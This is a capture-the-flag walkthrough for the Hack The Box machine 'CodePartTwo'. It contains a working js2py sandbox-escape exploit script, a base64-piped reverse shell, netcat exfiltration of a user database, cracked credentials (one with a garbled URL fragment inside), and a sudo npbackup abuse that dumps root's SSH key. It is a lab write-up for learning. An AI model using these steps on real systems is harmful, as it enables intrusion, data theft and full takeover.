CodePartTwo#
Initial recon#
Nmap scan#
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The service hosted at port 8000 reveals a gunicorn server with a code runner. This already sounds a lot like RCE and it is. To be exact, the runner is a frontend for the Python library js2py, which is a library to translate JavaScript code into Python.
On the startpage, we can download the apps source code, which we can then analyse to find a possible attack vector. Here we find this:
...
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
...
This snippet tells us that other than whatever js2py offers, there are no additional RCE protections in place. When we search for RCE vulnerabilities in js2py, we quickly come across a repository with a POC ready: https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/analysis_en.md.
To avoid any formatting issues, we can paste the code onto a new python file and use the requests library to send the request to the webserver. When running this, I frequently got errors. I believe this is because the webserver expects the output to at least not be an object. We van then try to a blind RCE and attempt a POC with the ping command.
We use the following python script for the exploitation:
import requests
payload = """
let cmd = "ping 10.10.14.2 -c 1"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result
x = 1;
x;
"""
response = requests.post('http://10.10.11.82:8000/run_code', json={'code': payload})
print(response.text)
In a separate terminal window, ready tcpdump to capture any packets sent on your specified network interface:
sudo tcpdump -i <interface>
We then run our script and see ICMP hits in our tcpdump. This means that we have a blind [[RCE]] which we can turn into a shell.
To get the shell, we will modify the let cmd line of our exploit with the commands to call it.
I generally recommend piping the shell commands as base64 encoded strings to bash,
as this avoids issues with special characters that can happen sometimes.
To get the shell, you can use the handy reverse shell builder revshells.com.
This can also automatically encode our shell with base64.
The modified line will look like this:
let cmd = "echo <BASE64> | base64 -d | bash";
When we run the script, we immediately get a hit in our listener:
┌──(kali㉿kali)-[~/Documents/HTB/CodePartTwo]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.82] 45756
sh: 0: can't access tty; job control turned off
$
Searching the webroots directory, we will discover the file users.db inside /instance.
To transfer this to our host machine from the restricted shell, we will use nc.
On our host we run:
nc -l -p 1234 -q 1 > users.db < /dev/null
And on the server:
cat users.db | nc 10.10.14.2 1234
Now that we have the file on our host, we can use the file command to inspect what we have. We learn that this is a Sqlite 3.X database file.
In the user table we find two username/password combinations:
| username | password hash |
|---|---|
| marco | 649c9d65a206a75f5abe509fe128bce5 |
| app | a97588c0e2fa3a024876339e27aeb42e |
These both look like easily crackable md5 cases, so we won’t bother with hashcat or similar at this point and just use crackstation, which lands us a hit for marco:swhttp://localhost:1313/eetangelbabylove. Now we can check if the user marco reused their password for SSH access to the server as well. And as this is an easy HTB machine, yes they did.
marco@codeparttwo:~$ whoami
marco
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ ls
backups npbackup.conf user.txt
Privesc#
As we can see in the output above, the user Marco has a file called npbackup.conf in their home directory.
A quick search reveals that this is a restic based backup tool.
Checking for sudo privileges with sudo -l, we see that the user marco can run the npbackup-cli.
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
Ne next piece of the puzzle is the npbackup.conf file that can be found in the users home directory.
This file tells npbackup what to back up, as well as other parameters. As we can run npbackup-cli as root,
we can try to back up the root directory.
To do this, the simplest way is to copy the npbackup.conf file to a new location and change the following line from
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
to:
repo_group: default_group
backup_opts:
paths:
- /root/
We can then run npbackup-cli with the modified configuration like this:
sudo npbackup-cli -c npbackup.conf -b
When we run the command:
sudo npbackup-cli -c npbackup.conf --ls
We can see that the backup worked and that we have successfully backed up the root directory with some very spicy files:
...
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
...
The npbackup-cli includes a functionality to restore backups to a specified location,
however the files are restored with the original permissions, meaning we cannot read the root directory.
We can however use the --dump option, which lets us read the contents of a file in the backup repository.
We could at this point simply read the root.txt file, but I wanted to go for an actual compromise.
To do this, we read the SSH private key of the root user.
sudo npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa
We can then use the key to log in with the root user by connecting to localhost via SSH and read the root flag.